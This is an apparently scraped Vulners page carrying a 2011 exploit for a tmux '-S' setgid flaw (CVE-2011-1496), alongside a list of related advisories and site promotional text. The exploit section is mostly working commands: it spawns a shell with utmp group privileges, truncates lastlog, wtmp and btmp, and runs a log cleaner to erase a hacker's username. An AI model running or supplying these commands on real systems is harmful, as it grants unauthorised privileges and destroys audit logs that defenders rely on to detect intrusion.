tmux '-S' Option Incorrect SetGID Privilege Escalation Vulnerability
| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
 | tmux '-S' Option Incorrect SetGID Privilege Escalation Vulnerability | 12 Apr 201100:00 | – | zdt |
 | Debian GNU/Linux Local Compromise Data Compromise | 7 Jul 201600:00 | – | bdu_fstec |
 | CVE-2011-1496 | 18 Apr 201118:00 | – | cve |
 | CVE-2011-1496 | 18 Apr 201118:00 | – | cvelist |
 | [BSA-032] Security update for tmux | 11 Apr 201116:49 | – | debian |
| [SECURITY] [DSA 2212-1] tmux security update | 7 Apr 201119:51 | – | debian |
 | CVE-2011-1496 | 18 Apr 201118:00 | – | debiancve |
 | Debian DSA-2212-1 : tmux - privilege escalation | 8 Apr 201100:00 | – | nessus |
| Fedora 13 : tmux-1.4-3.fc13 (2011-5156) | 19 Apr 201100:00 | – | nessus |
| Fedora 14 : tmux-1.4-3.fc14 (2011-5167) | 18 Apr 201100:00 | – | nessus |
10
---------------------------------------
| Team ph0x90bic proudly presents |
| tmux -S 1.3/1.4 local utmp exploit |
---------------------------------------
# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability
# Date: 11.04.2011
# Author: ph0x90bic
# Software Link: http://tmux.sourceforge.net/
# Version: 1.3/1.4
# Tested on: Linux debian 2.6.26-1-686
# CVE : CVE-2011-1496
---
INTRODUCTION
tmux 1.3/1.4 contains a privilege escalation vulnerabillity,
which gives you utmp group privileges. This bug is important,
because it is possible to clean logfiles and use logcleaners
for btmp, wtmp and lastlog without local root access.
---
EXPLOIT
Execute shell as utmp group
$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
--
Delete logfiles
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'
--
Use logcleaner software
$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.00952